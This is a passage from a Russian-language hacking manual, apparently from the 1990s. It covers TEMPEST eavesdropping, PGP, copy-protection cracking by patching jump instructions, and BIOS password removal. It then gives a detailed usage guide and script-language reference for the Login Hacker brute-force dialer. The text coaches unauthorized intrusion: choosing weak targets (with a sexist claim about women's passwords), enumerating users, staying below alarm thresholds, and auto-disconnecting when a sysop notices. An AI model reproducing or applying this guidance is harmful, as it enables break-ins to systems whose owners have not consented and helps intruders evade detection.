крайне скудно и односторонне. Все самое интересное остается вне их страниц.
Свободный стиль изложения, освещение “около-компьютерного” законодательства и
всякие остроумные ноу-хау гораздо интереснее, нежели “найдите это, потом найдите
то”. Информацию о технических аспектах вирусов, а также о том, что делать, если
вирус уже внедрился в систему, вы можете также через Internet. На alt.virus
публикуются статьи Usenet, но уровень представляемой технической информации
довольно низок, и поэтому данный сервер не подходит тем, кто желает быстро
избавиться от засевшего в машине вируса.
И несколько слов об экспертах по вирусам. Их много. Чтобы стать одним из них,
достаточно просто сказать: “Я — эксперт по вирусам”. Это, конечно, несерьезно.
Понимание вирусов включает в себя знания в области программирования,
операционных систем и их взаимодействия. Для
того чтобы свободно ориентироваться в том, что называется “Cult of Virus”,
требуется определенная проницательность.
Существует несколько неплохих публикаций, посвященных вирусам и “Cult of Virus”.
В этой связи упомянем FTP-сайт ftp.informatik.uni-hamburg.de, на котором
размещены довольно хорошие программы и тексты.
3.26. Tempest
Tempest — это сокращение от Transient Electromagnetic Pulse Surveillance
Technology.
Компьютеры и другое электронное оборудование реагируют на вмешательство в
окружающую их среду. Это можно наблюдать, поместив два видеомонитора близко друг
к другу. Изображения будут вести себя очень странно до тех пор, пока вы не
разъедините мониторы.
Особенно важным моментом для наблюдателя является эмиссия цифровых импульса (1 и
0) и то, как она используются в компьютерах.
Данные с монитора можно получить двумя способами: можно направить приемник на
монитор, и ловить изображение, а также можно просто ловить излучение с проводов,
идущих к монитору. Хотя большую часть времени упомянутые эмиссии — просто мелкие
раздражители, они могут иногда быть весьма полезны. Предположим, что мы хотим
узнать, какой компьютер все еще продолжает работать. Мы можем разместиться в
фургоне под окнами офиса и, используя высокочувствительное электронное
оборудование, попытаться подобрать и декодировать излучаемые работающим
видеомонитором эмиссии. Последние обычно располагаются в пределах 55-245 Mhz и
могут быть приняты на расстоянии до километра.
Контролирующий прибор может точно определить различные источники излучения,
потому что последние состоят из множества различных элементов, и это, вместе с
рядом других факторов, влияет на частоту испускаемого излучения. Например,
различные электронные компоненты в VDU, различные технологии, задействованные в
создании VDU, различные синхронизаторы строк и т.д. Синхронизируя свой растр с
растром адресатов, мы может нарисовать в реальном времени картинку,
расположенную на наблюдаемом экране.
Эту технологию может приобрести любой, не только правительственные службы.
Адресат может экранировать испускаемые его оборудованием эмиссии или
использовать оборудование, которое не генерирует сильные эмиссии. Однако
использование Tempest простыми гражданами в Соединенных Штатах признано
незаконным.
Tempest — это правительственная программа США, применяемая для оценки
электронного оборудования и подтверждения статуса безопасности его от
прослушивания. Полученная с помощью Tempest сертификация прошедшего тестирование
оборудования означает, что параметры испускаемого излучения соответствуют
стандартам, определенным в секретном правительственном документе NACSIM 5100A
(Classified). В этом документе определяются также уровни излучения этого
оборудования для правительства США и соответствие этих уровней информации,
которую допускается выводить на эти приборы.
3.27. Cryptoxxxxxxx
Сообщение может быть передано открытым текстом или в кодированном виде. Процесс
маскировки сообщения с целью сокрытия его сущности, называется шифрованием.
Зашифрованное сообщение называется ciphertext (зашифрованный текст). Процесс
конвертации зашифрованного текста обратно в открытый текст называется
расшифровкой.
Искусство и наука обеспечения безопасности и сохранности сообщений называется
криптографией (cryptography) и осуществляется специалистами-криптографами
(cryptographers). Криптоаналисты (cryptanalysts) — это практики криптоанализа
(cryptanalysis), искусства и науки чтения зашифрованных текстов. Отрасль
математики, включающая в себя криптография и криптоанализ, называется
криптологией (cryptology); специалисты-практики в этой области именуются
криптологами (cryptologists).
3.28. PGP
PGP использует шифрование с общим ключом для защиты E-mail и содержащих данные
файлов. Эта программа предназначена для установления надежной связи с людьми,
которых вы никогда не видели, при отсутствии безопасных каналов связи,
необходимых для предшествующего обмена ключами. PGP быстра в работе, прекрасно
оформлена, снабжена цифровыми подписями, предоставляет возможность сжатия
данных, и обладает эргономичным интерфейсом.
Pretty Good Privacy (PGP), разработанная компанией Phil's Pretty Good Software —
это работающее под MS-DOS, Unix, VAX/VMS и рядом других операционных систем
криптографическое программное обеспечение, обеспечивающее высокую степень
защиты.
PGP позволяет секретно, безопасно и удобно обмениваться файлами или сообщениями.
“Секретно” — значит, никто, кроме адресата, не сможет прочитать письмо.
“Безопасно” подразумевает, что сообщение исходит именно от того корреспондента,
который обозначен как автор-отправитель. А удобство обусловлено тем, что и
секретность, и безопасность обеспечиваются без использования “горячих клавиш”
для вызова криптографических функций. При использовании PGP пользователям для
обмена ключами не нужны специальные каналы безопасности, что делает программу
гораздо более простой в использовании. Причина этого в том, что PGP основана на
мощной современной технологии, называемой “public key” cryptography (шифрование
с использованием “публичного” ключа).
PGP объединяет в себе удобство “public key (публичного ключа)” криптосистемы
Rivest-Shamir-Adleman (RSA) с быстродействием стандартного криптографического
софта, сжатие данных перед шифрованием, симпатичный эргономичный дизайн, и
сложное кодирование ключа. Кроме того, PGP выполняет функции public-key быстрее,
чем большинство других программ. PGP — это массовый криптографический продукт.
3.29. Как обойти защиту от копирования
Есть два общих метода обхода защиты от копирования. Первый состоит в
использовании программы, которая удаляет защиту от копирования. Наиболее
известные программы этого рода — CopyIIPC (разработчик Central Point Software) и
CopyWrite (разработчик Quaid Software). Второй метод подразумевает внесение
исправлений в программу защиты. Ряд популярных программ позволяет размещать уже
готовые исправления. Для того, чтобы исправить код программы, используйте любой
hex-редактор (редактор шестнадцатеричных кодов), например, debug или
нортоновский DiskEdit. Если это недоступно, установите patch самостоятельно.
Создание patch требует отладчика, типа Soft-Ice или Sourcer. Вам также
понадобится знание языка ассемблера (язык команд процессора). Загрузитесь
защитную программу под отладчиком и просмотрите ее на предмет обнаружения
защитного механизма. Когда последний будет обнаружен, измените код программы.
Код может быть изменен из JE (Jump on Equal) или JNE (Jump On Not Equal) на JMP
(Jump Unconditionally). Или же можно просто заменить на команду NOP (No
Operation).
3.30. Как взломать пароль BIOS'а
Это зависит того, какой BIOS установлен на компьютере. Общий BIOS включает в
себя AMI, Award, IBM и Phoenix. Существуют много других BIOS'ов, но эти наиболее
распространены.
Некоторые BIOS'ы позволяет установить пароль, запрашиваемый при загрузке
системы. Другие — пароль, запрашиваемый при входе в setup BIOS'а. Каждый BIOS
где-то хранит информацию о пароле. Если вы обратитесь к машине после того, как
она успешно загрузилась, то сможете просмотреть пароль. Для этого вы должны или
сами знать адрес памяти, где пароль сохранен, и формат, в котором пароль
сохранен, или иметь соответствующую программу.
Самые простые программы-взломщики паролей BIOS'а работают под AMI BIOS.
Некоторые из них отображают пароль AMI BIOS открытым текстом, другие — в кодах
ASCII, третьи — в scan codes. Это зависит не только от взломщика, но также и от
версии AMI BIOS. Чтобы получить пароли AMI BIOS, обратитесь к
ftp.oak.oakland.edu (/simtel/msdos/sysutil/).
Если после включения компьютера вы не можете обратиться к системе, то до пароля
все равно можно добраться. Пароль хранится в CMOS-памяти, которая постоянно
поддерживается (даже в то время как PC выключен) маленькой батарейкой,
находящейся в материнской плате. Если удалить эту батарейку, вся информация CMOS
будет уничтожена, и вы для того, чтобы пользоваться компьютером, должны будете
заново ввести установки CMOS. Хозяин машины или ее пользователь наверняка будут
сильно встревожены, когда обнаружат, что пароль BIOS'а был удален.
В некоторые материнские платы батарейка впаяна, и ее трудно удалить. В таком
случае задействуйте следующий вариант. Найдите на “маме” джампер, контролирующий
пароль BIOS'а. Если у вас есть документация на плату, то проблем с определением
джампера у вас не будет. Если нет, то посмотрите внимательно — этот джампер
может быть как-то помечен. Если же вы абсолютный стопроцентный неудачник, и ни
одна из возможных подсказок не срабатывает, то положитесь на свою интуицию и
постарайтесь догадаться, какой же джампер вам нужен. Обычно он находится около
батарейки и стоит особняком.
3.31. Взлом систем через Login Hacker
Эта большая и весьма гибкая программа предназначена для взлома многих систем.
Чтобы проникнуть в систему, вы можете использовать три прилагаемых к программе
файла-словаря, а также Brute Force Generator.
Программа Login Hacker также может использоваться системными администраторами
для проверки их систем на вшивость. Авторы этой программы предостерегают вас: не
стоит пользоваться этим софтом в преступных целях, отвечать перед законом будете
только вы сами. Но, с другой стороны, если вы напишите хороший скрипт
(сценарий), автор этой программы надеется, что вы пришлете исходник по адресу:
vh@campus.de.
Конечно, большинство систем находится под строгим наблюдением и многие терпят
неудачу при попытках регистрации (срабатывает система защиты, тревога и новичок
получает путевку в не столь отдаленные места). Многие серверы бьют тревогу уже
после десяти неудачных попыток зарегистрироваться и, как правило, системный
администратор знает что делать дальше. Впрочем, в Unix имеются некоторые дыры,
позволяющие подбирать пароль и имя пользователя практически без срабатывания
системы защиты сервера, то есть в конце-концов вы входите в систему. Для этого
вам нужен отработанный в интерактивном режиме скрипт и знание некоторых команд
Unix. Эту программу вы можете эффективно использовать в старых
телекоммуникационных системах, в которых число попыток зарегистрироваться
неограниченно.
Для чего нужен взлом? Конечно, для того, чтобы войти в систему. С другой
стороны, автор этой программы запрещает пользоваться ей для получения контроля
над всей системой. Эта программа предназначена прежде всего для тех, кто хочет
получить только один экаунт. Если его зарубят, вы можете снова воспользоваться
этой программой. Только для этого. Никакого криминала.
Многие пароли подбираются легко. Это относится к паролям так называемых средних
пользователей. Подбирать пароль соответствующий экаунту системного
администратора весьма-весьма чревато. Например, в Unix при этом срабатывает
специальная система защиты и возникает сообщение об ошибке (auth.crit):
CRITICAL. В системах NetWare подобная система начинает функционировать уже после
неудачных регистраций. Помните, что практически все системы позволяют
регистрироваться в качестве системного администратора только с той консоли,
которая принадлежит серверу с главной системой. Поэтому никогда не взламывайте
роотуров, системных администраторов, крутых менеджеров и других сетеподобных
личностей.
После того, как вы войдете в систему, последняя станет весьма уязвимой.
Попробуйте получить текстовой файл с описанием модернизации сервера, затем
узнайте какие имеются дырки. Если возникнут проблемы, попытайтесь получить
помощь у знакомого вам хакера.
Каких пользователей можно легко взламывать? Как правило, пароли женщин
подбираются легче (они обычно используют гостевую систему регистрации), чем
пароли мужчин. Попробуйте узнать настоящее имя пользователя, а уже затем
подобрать его логин, затем любые женские имена, слова из жаргона футболистов,
цифры 123, слова типа “secret”. В системах Unix для того, чтобы узнать логин
пользователя, можно воспользоваться командой finger или через команду telnet
воткнуться в smtp-порт и получить полные имена пользователей.
Обычно, когда осуществлена связь с запаролированной системой по телефонной
линии, выводится приглашение “PASSWORD:” или вообще экран оказывается пустым.
Важно: Достаточно легко взломать так называемые Silent Carriers. Делается все
посредством скрипта программы Login Hacker.
Файлы программы
LOGINH.EXE
Программа Login Hacker.
LH-COMP.EXE
Компилятор для скриптов.
X00.EXE
Драйвер Fossil. Используйте этот драйвер при выполнении программы. Загружается
драйвер так: X00.EXE E 2
FILE_ID.DIZ
Краткая информация о программе.
HISTORY.DOC
Библиография программы.
LOGINH.DOC
Документация.
SCRIPT.DOC
Документация по скриптам.
RESULT.DOC
Результат в виде кодов, полученный после выполнения Login Hacker.
UPDATE.DOC
Информация о том, как можно обновить программу.
VH_BASE.DIC
Основной словарь.
LH&SCAVE.TXT
Пример скрипта, который используются вместе с Scavenger Dialer.
THC&SCAV.SCR SCAVENGER
Пример скрипта, который нужен скрипту LH&SCAVE.TXT.
REBREAK.SCR
Пример Scavenger-скрипта. Он нужен для скрипта LH&SCAVE.TXT.
HANGUP.SCR
Пример скрипта, который нужен скрипту LH&SCAVE.TXT.
PICKUP.SCR
Пример скрипта, который нужен скрипту LH&SCAVE.TXT.
THC-LH_1.TXT
Первый пример, показывающий применение языка скриптов.
THC-LH_2.TXT
Второй пример, показывающий применение языка скриптов.
DEC-SERV.TXT
Хорошо опробованный скрипт (автор: Tron).
PASSCODE.TXT
Другой скрипт (автор: Mind Maniac).
THC.NFO
Очень важно! Все, что касается известного сообщества.
LORE.COM
Исполняемый скрипт для LORE BBS (автор: Plasmoid).
LOGINH.CFG
Конфигурационный файл.
LOGINH.LOG
Созданный конфигурационный файл. Если конфигурационный файл уже существует, то
все данные будут добавлены в его конец. Этот файл может быть определен в
соответствующем скрипте или через саму программу в Hacking Setup.
LOGINH.SCR
Скрипт, созданный компилятором LH-COMP.EXE. Только такие скрипты могут быть
загружены в Login Hacker.
LOGINH.HCK
Если произошло вынужденное прерывание программы, то создается этот файл с
подобным расширением. Это файл данных указывает на установки соответствующие
первоначальным данным словаря Brute Force Generator. Если снова произошел сбой,
то программа выдаст сообщение с запросом о том, нужно ли использовать данные из
этого файла. Это дает вам возможность прервать сессию и использовать предыдущие
данные в новой атаке. Помните, что этот файл не является скриптом. Это файл
регистрации.
Если вы записываете в этот файл данные, полученные от другой атаки, программа
все равно попросит вас использовать только данные предыдущей атаки.
Команды и параметры
Первая и самая главная команда программы Login Hacker со всеми возможными
параметрами выглядит так:
LOGINH.EXE [scriptfile]/[anything] [-Auto] [-Shh:mm] [Ehh:mm]
[scriptfile]
Автоматически загружает скомпилированный скрипт scriptfile и ожидает ввода ключа
для загрузки.
[anything]
Если этот параметр не есть существующий файл, то программа запускается без
демонстрационных сообщений.
[-Auto]
Этот параметр загружает скрипт без дополнительного ключа.
[-Shh:mm]
Начальное время, то есть пошла атака.
[-Ehh:mm]
Время, в течение которого происходило сканирование.
[-T]
Запуск скрипта в режиме проверки. То есть скрипт не загружается в модем.
[-D]
Активизация режима отладки. В этом режиме вы можете выбрать, какую команду нужно
выполнять дальше.
Вторая, не менее важная команда программы Login Hacker со всеми возможными
параметрами выглядит так:
LH-COMP.EXE [scriptfile]
[scriptfile]
Файл, который будет подвергнут процедуре компиляции.
3.32. Использование Login Hacker
Имеется пять опций, непосредственно влияющие на запуск программы:
L
Загрузка откомпилированного скрипта и начало атаки.
S
Настройка модема и других основных параметров программы.
T
Терминальный режим.
I
Некоторая информация.
Q
Выход.
Экран в интерактивном режиме
Речь идет о том моменте, когда произошла загрузка и запустился скрипт. Все, что
идет из модема, выглядит на вашем экране символами белого цвета. Все, что
записывается в файл регистрации, выглядит на вашем экране темно-синими
символами. Каждое сообщение системы, в том числе CONNECT, ALARM, HANGUP и ERROR
должно отображаться синим цветом. Все вышесказанное справедливо лишь в том
случае, если вы активизировали опцию Print Logoutput to Screen too.
Горячие клавиши в режиме On-line
ESC
Пауза или выход из меню.
F1
Подсказка.
ALT-B
Так называемая базовая клавиша. Позволяет спрятать экран.
ALT-C
Очистка экрана.
ALT-D
Включить или выключить режим отладки.
ALT-H
Вызвать меню HangUp.
ALT-I
Отобразить на экран статистику и другую дополнительную информацию.
ALT-J
Прыгнуть в DOS (не пользуйтесь этой командой в бета-версиях).
ALT-L
Особое меню регистрации.
ALT-T
Загрузить терминальный режим. В этом режиме экран зависает, система находится
под вашим контролем. Вы можете произвести идентификацию посредством любой из
вышеописанных клавиш (кроме ESC). Что выйти из терминального режима, нажмите
ALT-T или ALT-X.
3.33. Описание языка скриптов
Скрипты — это изюминка Login Hacker. Поэтому, если вы научитесь писать хорошие
скрипты, то сможете взломать практически любую систему. Конечно это не относится
к новичкам или тем хакерам, которые никогда не программировали даже на Бэйсике.
Скрипт должен пройти через компилятор, который проверяет его на вшивость.
Поэтому вы можете быть уверены на 99%, что в процессе атаки не произойдет сбоя
по вине плохого скрипта.
Итак, поехали.
Все, что начинается с точки с запятой — комментарии. Все, что начинается с
двоеточия — переход на следующую команду.
Четыре строки, начинающиеся с символа # определяют операторы, с которых
начинается специальная часть скрипта.
Оператор #DEFINE определяет переменную.
Оператор #NOCARRIER осуществляет автоматический возврат в программу в случае
аварийного прерывания сессии, то есть без команды hangup.
Оператор #START активизирует загрузку скрипта.
Оператор #END заканчивает выполнение скрипта.
Все переменные являются необязательными. Исключение составляют переменные
logfile и phone_nr. Вы не можете определять какие-либо переменные, за
исключением тех, которые описаны ниже.
LOGFILE=FILENAME
Определить файл регистрации и место на диске для этого файла. Это важная
переменная используется при написании любого скрипта.
Например:
LOGFILE=C:\ OUTPUT\ NY-SYS5.LOG
PHONE_NR=NUMBER
Эта переменная используется вместе с командой DIAL. Ее тело может состоять как
из цифр, так и из букв. Это вторая переменная, которую всегда используют при
написании скриптов.
Например:
PHONE_NR=1-800-WHO-CARES
INIT_MODEM=STRING
Если ваш модем должен работать в режиме Pulse Dialing, то поместите перед
телефонным номером аргумент P. Если же ваш модем не может инициализировать
строковые данные, поместите перед соответствующим телефонным номером команду AT
(если эта команда отсутствует в Hacker Setup).
Например:
INIT_MODEM=Z
(здесь также может стоять аргумент AT Z)
INIT_DATA=STRING
Инициализация каналов передачи данных, в том числе стоповых битов и битов
четности. Переменная используется в том случае, если соответствующие параметры
отсутствуют в Hacker Setup. В общем случае аргументами этой переменной являются
наборы символов 8N1 и 7E1, то есть аргумент всегда должен состоять из трех
символов. Первый символ — это цифры 7 или 8, являющиеся битами данных. Второй
символ может быть записан как P (контроль по нечетности), E (контроль по
четности) или N (не контролировать биты данных). Третий символ соответствует
ситуации, когда на первый стартовый бит налагается первый стоповый бит:
7/8+E/P/N+1/2.
DIAL_TRIES=NUMBER
Эта переменная определяет количество попыток набора номера в диапазоне от 0 до
65535. Ноль соответствует бесконечному набору номера.
Если номер набран, загружается HANGUP и остальная часть скрипта.
Например:
DIAL_TRIES=3
Standard : 0
Важно: Если эта переменная отсутствует в скрипте, то будут использованы
установки соответствующие файлу LOGINH.CFG.
LOGIN_TRIES=NUMBER
Эта переменная определяет количество попыток входа в систему в диапазоне от 0 до
2300000000. Ноль соответствует неограниченной попытке зарегистрироваться. Если в
файле словаря будет достигнут так называемый конец кадра (EOF), то скрипт
автоматически повесит трубку и прекратит сессию. Время, в течение которого будет
осуществляться подбор регистрационных данных зависит от команд прицепки
SEND_NEXT_DIC, NEXT_DIC или им аналогичных для словаря Brute Force Generator.
Например:
LOGIN_TRIES=0
Standard : 0
Важно: Если эта переменная отсутствует в скрипте, то в атаке будут использованы
установки соответствующие файлу LOGINH.CFG.
DIC(NUMBER)=FILENAME
Определить словарь, который будет использован соответствующим скриптом. Аргумент
DIC указывает на существующие файлы словарей. Вы можете прицепить к скрипту от
одного до трех словарей. Используйте для этого команды Send_Next_DIC (1),
Send_DIC (1) и Next_DIC (1).
Например:
DIC(1)=C:\ HACKING\ DICTIONA.RY\ BAD_PWS.DIC
FROM_DIC(NUMBER)=STRING
Определить слово, начиная с которого можно использовать словарь в скрипте.
Например:
FROM_DIC(1)=Tracy
BRUTE(NUMBER)=STRING,NUMBER,NUMBER,NUMBER
Определить словарь Brute Force Generator для использования в скрипте. Brute
Force Generator весьма гибок. Четыре параметра словаря Brute Force Generator
разделены запятой. Ниже описывается приемлемая спецификация этих параметров.
1
● a — буквы нижнего регистра.
● A — буквы верхнего регистра.
● 1 — цифры.
● $ — спецсимволы.
● ^ — так называемые контролируемые символы.
● Любые синонимы ASCII.
2
Этот параметр сообщает скрипту какое количество различных символов,
соответствующих параметру 1 необходимо этому скрипту.
Каждое сгенерированное слово соответствующее параметру 1 всегда имеется в таком
же слове соответствующим параметру 2. Символ верхнего регистра и один номер
допустимы. Величина соответствующая нулю неприемлема.
3
Сообщает скрипту возможную минимальную длину для символов пароля, подобранного
при использовании словаря Brute Force Generator.
(4)
Возможная максимальная длина для символов пароля, подобранного при использовании
словаря Brute Force Generator.
Важно: Минимальная длина символов равна 1, максимальная соответствует 12.
Помните, что вы можете использовать в атаке до трех словарей Brute Force
Generator. Используйте для этого великолепные команды привязки Next_Brute(1),
Send_Next_Brute(1) и Send_Brute(1).
Например:
BRUTE(1)=a,1,1,6
В этом примере используется первый параметр Brute Force Generator со следующими
данными: проверять только символы нижнего регистра, предположить, что при
подборе пароля в словаре присутствует хотя бы один действительный символ,
минимальная длина регистрационного слова равна единице, максимальная — шести.
FROM_BRUTE(number)=STRING
Начать инициализацию со словарем Brute Force Generator. При этом важно
следующее: если инициализация началась с четвертой буквы, а вы просматриваете
диапазон от 1 до 8 буквы, то диапазон от 1 до 3 будет игнорироваться, то есть
сначала идет подбор aaaa, затем aaab, затем aaac и т.д.
Например:
FROM_BRUTE(1)=2527
Секция #NOCARRIER
Это будет выполняться всякий раз, когда вы не используете команду HANGUP. Если в
скрипте отсутствуют операторы GOTO (*START) или GOTO (1), то дальше он
выполняться не будет. Это означает, что вы снова должны набрать модемный номер
доступа к системе. Поэтому проверьте установки в DIAL_TRIES.
Секция #START
В этой важной секции описываются операторы, которые в дальнейшем будут ломать
систему.
LOG(STRING)
Команда LOG( ) записывает в файл регистрации некоторую информацию. Это может
быть любой текст, переменные, перед которыми всегда должен стоять знак $ (знак
доллара), а также пробелы между словами. В конец строки каждая команда LOG( )
автоматически печатает возврат каретки.
Примеры:
LOG(Beginning on $DATE * $TIME)
Будет выведено следующее:
“Beginning on 24-12-96 * 23:00”
LOG_(STRING)
Этот пример аналогичен вышеприведенному, за исключением того, что после текста
отсутствует возврат каретки.
:NUMBER
Каждая линия, начинающаяся с : (двоеточия) маркируется оператором GOTO. Вы
можете использовать 240 маркировок в диапазоне от 1 до 240. Другие номера
неприемлемы. Переход к нужному маркеру осуществляется командами передачи
управления GOTO, GOSUB, CHECK4OUTPUT и CHECK4CARRIER.
Например:
:1
В этом примере на соответствующую строку выполняется переход к точке с номером
1.
GOTO(NUMBER)
Передать управление на маркировку перехода. Вы можете также осуществить переход
командами #START, #NOCARRIER и #END.
Например: GOTO(#END) (выполнение скрипта завершено).
GOSUB(NUMBER)
С командой подстановки GOSUB вы осуществляете переход к следующей маркировке.
Команда GOSUB, как правило исполняется уже после перехода на следующий маркер,
то есть в тот момент, когда команды GOSUB и RETURN столкнутся между собой.
Обратите внимание, что вот такая команда невозможна: GOSUB(#END).
Например:
GOSUB(4)
RETURN
Это так называемая команда выхода из подпрограммы. Используя эту команду вы
можете возвратиться к местоположению последней выполненной команды GOSUB и
продолжить обычное выполнение скрипта. Если в буферном регистре команда RETURN
сталкивается с несуществующим начальным адресом GOSUB, то она будет
игнорироваться. В одном буферном регистре вы можете иметь до 255 подстановок
GOSUB.
Например:
RETURN
CHECK4CARRIER(NUMBER)
Проверка модема на соединение с линией, то есть проверка на несущую частоту.
Команда будет выполняться в случае отсутствия перехода к указанной маркировке
(переход соответствует команде GOTO). Если переход обнаружен, то устанавливается
внутреннее соединение с переменной TRUE для проверки на NO_CARRIERS. Вы можете
также осуществлять процедуры перехода к *NOCARRIER, *START и *END. Также
возможно осуществить проверку модема только на ON или OFF. Если команда
CHECK4CARRIER(ON) выполнена с переходом к маркеру, отмечающему обнаружение
линии, и, если представлен NOT, то управление передается на *NoCarrier. Эта
команда полезна только в том случае, когда вы оказываетесь на CHECK4CARRIER(OFF)
и не хотите использовать команду DIAL, чтобы соединиться с удаленной системой
(позвольте набрать номер SCAVENGER DIALER).
Примеры:
CHECK4CARRIER(#NOCARRIER)
CHECK4CARRIER(5)
CHECK4CARRIER(ON)
CHECK4CARRIER(OFF)
CHECK4OUTPUT(NUMBER)
Это будет выполнено подобно нижеописанной функции ALARM:. Если выходной сигнал
(OUTPUT) модема обнаружен, то переходы будут осуществляться непосредственно к
указанной маркировке. Вы можете также передать управление к *NOCARRIER, *START и
*END. Также возможно отключить проверку на OFF, то есть заблокировать указанную
проверку выходного сигнала.
Например:
CHECK4CARRIER(#NOCARRIER)
CHECK4CARRIER(5)
CHECK4CARRIER(OFF)
DIAL
Набор номера PHONE_NR. Если с системой нет соединения, то сначала в модем будет
послана команда: “Повесить трубку!”
Например:
DIAL
HANGUP
Поднять и опустить трубку.
Например:
HANGUP
WAIT4STRING(NUMBER,STRING,NUMBER, COMMAND,STRING)
В представленном здесь языке скриптов это самая важная команда. После ее
выполнения выходной сигнал модема будет находиться в состоянии ожидания. В этот
момент должна начаться загрузка специального слова. Если стыковка осуществлена,
то скрипт продолжается, если — нет, то после тайм-аута в модем будет отправлена
заданная последовательность, затем — вновь тайм-аут и, наконец, идет выполнение
команды.
Важно: Сначала команда WAIT4STRING проверяет текущую строку с представленным
словом. Синтаксис:
WAIT4STRING(a,b,c,d,e).
a
Определить тайм-аут в диапазоне от 0 до 255 секунд. Ноль соответствует
неограниченному ожиданию, то есть ждать до тех пор пока не наступит так
называемый TOTAL TIMEOUT (скрипт переходит в секцию #NOCARRIER в том случае,
если данные не поступают из модема в течение пяти минут). Если ничего не
получено, то последовательность в потоке данных распознается снова, или в
какой-то момент несущая частота объявляется потерянной.
b
Последовательность данных, которая будет послана в модем после тайм-аута.
c
Частота отказов или количество общего времени, в течение которого может
выполняться фатальная команда. Диапазон: от 0 до 255 (0=никогда, 1=первый раз).
d
Выполнение специальной фатальной команды. Это могут быть любые команды,
исключая: ALARM, WAIT4STRING и IF.
e
Последовательность данных для ожидания. Данные чувствительны к регистру.
Например:
WAIT4STRING(15,^M,2,GOTO(1),ogin:)
В этом примере происходит ожидание последовательности ogin: в течение 15 секунд.
Если стыковка не получилась, а каретка возвращается в модем (^M), то команда
снова ждет 15 секунд, пока вновь не наладится стыковка с последовательностью
данных ogin:.
Как только истекут следующие 15 секунд, вызывается фатальная команда, что
означает переход к GOTO с меткой под номером 1.
LOG_SESSION_ON
Начиная с этого пункта, все данные поступающие из модема записываются в файл
регистрации.
Например:
LOG_SESSION_ON
LOG_SESSION_OFF
Если содержимое экрана записано в файл регистрации, то к этому пункту больше не
будет обращений.
Например:
LOG_SESSION_OFF
SEND(STRING)
Команда SEND передает последовательность данных в модем. Через эту команду вы
можете пересылать в модем переменные со знаком $. В конец последовательности
передается возврат каретки. Если последовательность данных не задана, то сразу
осуществляется переход на возврат каретки.
Например:
SEND(echo Hacked you system Time: $TIME - Date: $DATE > HACKED.TXT)
В данном примере команда SEND посылает в модем строку:
echo HAcked your system Time: 23:00 - Date: 24-12-95 > HACKED.TXT
SEND_( )
Эта команда аналогична вышеописанной, но она не посылает в модем символ возврата
каретки ^M. Ее можно использовать, если вам нужно загрузить в модем только один
символ или командный режим +++.
Примеры:
SEND_(n)
SEND_(+++)
SEND_DIC(NUMBER)
Переслать текущий словарь в модем.
Например:
SEND_DIC(1)
NEXT_DIC(NUMBER)
Переместиться на слово, соответствующее аргументу NUMBER.
Например:
NEXT_DIC(1)
SEND_NEXT_BRUTE(NUMBER)
Используя Brute Force Generator, сгенерировать следующую допустимую
последовательность и переслать их в модем.
Например:
SEND_NEXT_BRUTE(1)
SEND_BRUTE(NUMBER)
Переслать в модем текущую последовательность допустимых данных из словаря Brute
Force Generator.
Например:
SEND_BRUTE(1)
NEXT_BRUTE(NUMBER)
Сгенерировать следующую допустимую последовательность данных из словаря Brute
Force Generator.
Например:
NEXT_BRUTE(1)
IF VARIABLE OPERATOR STRING THEN COMMAND
Команда IF первой версии этой программы не очень гибкая. Синтаксис этой команды
следующий:
IF <variable><operator><string> THEN <command> <variable>
<operator>
Означает равносильность при аргументе =, больше или меньше при аргументах < или
> соответственно и переменную содержащую любую последовательность слов при
аргументе ~. Переменные и последовательности должны быть дискретными
переменными.
<command>
Эта команда выполнится в том случае, если будет соблюдено условие TRUE. Чтобы ее
использовать, просмотрите список команд для оператора WAIT4STRING.
Например: IF STRING~ogin THEN GOTO(3)
То есть, если текущая строка (STRING), содержит дискретную (~)
последовательность данных ogin, то идти (GOTO) к маркеру с номером 3
EXECUTE(STRING)
Выполнить DOS-программу, а затем запустить скрипт. Вы должны включить переменные
в выполняемую строку. Вы также должны выполнить соответствующие внутренние
команды MS DOS. Помните, что перед переменной может стоять знак $ с возможными
пробелами позади и впереди самого знака.
Важно: Если вы хотите запустить программу в то время, когда по вашему скрипту
осуществлено соединение, то вы должны использовать драйвер fossil. В противном
случае ваш компьютер зависнет. Поэтому запустите X00.EXE E 2 перед выполнением
программы Login Hacker.
Важно: Чтобы ваша программа не была повреждена, предварительно сохраните ее в
каталоге отличным от исходного.
Примеры:
EXECUTE(C:\ SB\ VPLAY C:\ SB\ VOC\ HACKED.VOC)
EXECUTE(COPY $LOGFILE C:\ HACKED)
ALARM(STRING,COMMAND)
Опасно нажимать на спусковой крючок! Если на удаленном компьютере сработала
система защиты, то вы будете активны до тех пор, пока не выполниться эта
команда.
STRING
Последовательность, для которой осуществляется поиск данных с их последующей
передачей в модем.
COMMAND
Эта команда будет выполнена после стыковки. Чтобы ее использовать, просмотрите
листинг команд для WAIT4STRING. Примените эту команду в том случае, например,
если вы взломали BBS, а сисоп вас раскусил и задает глупые вопросы. После этой
команды вы автоматически прервете соединение и остановите выполнение скрипта.
Например:
ALARM(chat,GOTO(#END))
SET VARIABLE=STRING
Этой командой вы определяете переменную в секции #START или #NOCARRIER. Если
переменная является статической переменной, то вы должны это отметить. Вы должны
устанавливать только следующие переменные: STRING, DIAL_TRIED, LOGIN_TRIED,
S_TMP и D_TMP.
Например:
SET D_TMP=3
Определить статическую переменную D_TMP в качестве 3.
INC(DIGIT_VARIABLE)
Увеличить число указанной переменной на 1. Эта команда будет выполнена лишь в
том случае, если переменная после дополнения не находится в указанном диапазона.
Имеют силу следующие команды:
● DIAL_TRIES
● DIAL_TRIED
● LOGIN_TRIES
● LOGIN_TRIED
● D_TMP.
Например:
INC(D_TMP)
DEC(DIGIT_VARIABLE)
Уменьшить число указанной переменной на 1. Эта команда будет выполнена лишь в
том случае, если переменная после вычитания не будет находиться вне указанного
диапазона.
Имеют силу следующие команды:
● DIAL_TRIES
● DIAL_TRIED
● LOGIN_TRIES
● LOGIN_TRIED
● D_TMP.
Например:
DEC(D_TMP)
WAIT(NUMBER)
Ожидать до тех пор, пока идут секунды определенные аргументом NUMBER. Аргумент
NUMBER соответствует любому числу в диапазоне от 1 до 65535.
Например:
WAIT(10) (десять секунд)
WAIT_(NUMBER)
Ожидать до тех пор, пока идут миллисекунды, определенные аргументом NUMBER.
Аргумент NUMBER соответствует любому числу в диапазоне от 1 до 65535.
Например:
WAIT(500) (полсекунды)
BEEP
Создает сигнал, похожий на легкий звук бибикалки!
Переменные и управляющие символы
Речь идет о переменных, которые могут быть использованы в командах SEND( ) или
LOG( ). Как уже отмечалось, печатать переменных в модем или файл регистрации
задается символом $ (доллара), поставленным перед соответствующей переменной, и
